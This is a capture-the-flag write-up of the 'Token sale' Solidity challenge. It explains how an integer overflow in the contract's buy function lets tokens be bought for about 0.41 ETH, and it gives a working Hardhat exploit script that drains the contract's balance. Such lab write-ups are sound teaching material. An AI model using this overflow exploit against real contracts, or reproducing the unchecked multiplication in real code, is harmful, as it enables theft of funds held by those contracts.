Token sale
topic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| pragma solidity ^0.4.21;
contract TokenSaleChallenge { mapping(address => uint256) public balanceOf; uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable { require(msg.value == 1 ether); }
function isComplete() public view returns (bool) { return address(this).balance < 1 ether; }
function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens; }
function sell(uint256 numTokens) public { require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens; msg.sender.transfer(numTokens * PRICE_PER_TOKEN); } }
|
analyse
This is an integer overflow vulnerability. This is the vulnerability code:
1 2 3 4
| function buy(uint256 numTokens) public payable { require(msg.value == numTokens * PRICE_PER_TOKEN); balanceOf[msg.sender] += numTokens; }
|
we should know that:
- 1 ether equals 10^18
- if numTokens larger than type(uint256).max, it will cause an integer overflow vulnerability
- We have to get the maximum possible uint256 = 2^256 - 1, then divide it by 1 ether = 10^18.
- Then, we add 1 to the maxUint256, to ensure that when multiplied by 1 ether(10^18), it causes an overflow.
- Knowing that the overflow will happen, we need to know by how much in order to send the correct msg.value
- We have established that: ((2^256/10^18) + 1) * 10^18 = overflow. So, msg.value needed = overflow - (type(uint256).max + 1) .
1 2 3
| msg.value == numTokens * PRICE_PER_TOKEN 2^256 / 10^18 + 1 = 115792089237316195423570985008687907853269984665640564039458 (2^256 / 10^18 + 1) * 10^18 - 2^256 = 415992086870360064 ~= 0.41 ETH
|
solution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import { expect } from "chai"; import { ethers } from "hardhat";
const { utils } = ethers;
describe("TokenSaleChallenge", () => { it("Solves the challenge", async () => { const myAddress = ethers.provider.getSigner().getAddress(); const challengeFactory = await ethers.getContractFactory("TokenSaleChallenge"); const challengeContract = await challengeFactory.deploy(myAddress, { value: utils.parseEther("1"), }); await challengeContract.deployed();
const buyTx = await challengeContract.buy("115792089237316195423570985008687907853269984665640564039458", { value: "415992086870360064", }); await buyTx.wait();
const sellTx = await challengeContract.sell(1); await sellTx.wait();
expect(await challengeContract.isComplete()).to.be.true; }); });
|